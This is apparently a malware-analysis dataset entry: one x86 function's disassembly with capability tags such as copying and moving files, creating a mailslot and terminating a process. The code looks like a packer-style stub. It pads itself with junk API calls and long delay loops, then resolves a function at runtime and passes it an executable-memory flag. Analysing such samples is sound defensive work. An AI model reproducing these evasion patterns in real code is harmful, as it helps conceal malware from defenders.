Function at 0x40a6e5
Capabilities:
Copy file
Create mailslot
Enumerate gui resources
Manipulate console buffer
Move file
Print debug messages
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x848
push ebx
push esi
xor ebx, ebx
cmp dword [0x470524], 3
push edi
jne 0x40a72f
push ebx
call fcn.0040dfa0
push ebx
call fcn.0040dcd0
pop ecx
pop ecx
lea ecx, [ebp - 0x1c]
call fcn.0040b988
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 4], esp
push ebx
call fcn.0040b622
push ebx
lea ecx, [ebp - 0x1c]
call fcn.0040be38
push ebx
call fcn.0040d720
xor esi, esi
cmp dword [0x470524], 0x47
jne 0x40a79e
push ebx
lea eax, [ebp - 0x448]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
xor eax, eax
mov dword [ebp - 0x1c], ebx
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x3c]
push eax
push 0x401398
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
cmp esi, 0x6a1
je 0x40aa90
cmp dword [0x470524], 0xf
je 0x40aa9f
inc esi
cmp esi, 0x53f9406
jl 0x40a731
xor esi, esi
cmp esi, 0x9b33
jge 0x40a7d4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x3f56b
mov dword [0x46fbb0], ebx
jle 0x40a81b
cmp dword [ebp - 8], 0xdfe5c2
je 0x40a81b
cmp dword [ebp - 0x3c], 0xdf5954
je 0x40a81b
cmp dword [0x470524], 0x28
jne 0x40a81b
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
push 0x4013b0
push 0x4013f8
push 0x40145c
call dword [sym.imp.KERNEL32.dll_WriteProfileStringW]
inc esi
cmp esi, 0x180bc451
jl 0x40a7c6
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov edi, dword [sym.imp.KERNEL32.dll_DebugBreak]
mov dword [ebp - 4], ebx
cmp dword [ebp - 4], 0x40d
jne 0x40a846
push 0x470524
call fcn.0040a402
cmp dword [0x470524], 0x78
jne 0x40a8e9
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
call edi
push ebx
push ebx
push ebx
push 0x401470
push 0x4014b4
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommState]
push ebx
push ebx
push dword [ebp - 8]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
push 0x4014cc
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameW]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x40bd22
jl 0x40a833
call fcn.0040a510
xor eax, eax
cmp eax, 0x1550
jne 0x40a913
mov ecx, dword [0x42a008]
mov dword [0x470528], ecx
inc eax
cmp eax, 0x56a453
jl 0x40a900
mov dword [ebp - 4], ebx
cmp dword [0x470524], ebx
jbe 0x40a93c
push dword [ebp - 4]
call fcn.0040a30c
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [0x470524]
jb 0x40a926
mov dword [ebp - 4], ebx
cmp dword [ebp - 4], 0x75ec5
jne 0x40a958
push 0x4014e8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x46fbbc], eax
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x1756bb
jl 0x40a93f
push 0x4014f8
push 0x4492c8
mov byte [0x4492c8], bl
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4492c8
push dword [0x46fbbc]
mov byte [0x4492c8], 0x56
mov byte [0x4492c9], 0x69
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4492c4], eax
mov dword [ebp - 4], ebx
cmp dword [ebp - 4], 0x1c
jne 0x40a9bf
lea eax, [ebp - 8]
push eax
push 0x40
push dword [0x470524]
push dword [0x453980]
call dword [0x4492c4]
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x3d9da7
jl 0x40a9a1
call fcn.0040a524
cmp dword [0x470524], 0x1d
jne 0x40aa82
push ebx
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
mov edi, dword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
push ebx
call edi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
push ebx
call dword [sym.imp.KERNEL32.dll_PulseEvent]
push ebx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [ebp - 4]
push eax
push ebx
lea eax, [ebp - 0x1c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
push ebx
push ebx
push ebx
push ebx
call esi
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_CreateActCtxA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push ebx
push 0x401508
push 0x401570
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push ebx
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
push ebx
call edi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
call fcn.0040a3f1
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
mov eax, dword [0x42b100]
mov dword [0x470524], eax
jmp 0x40a7c4
push ebx
lea eax, [ebp - 0x848]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibraryAndExitThread]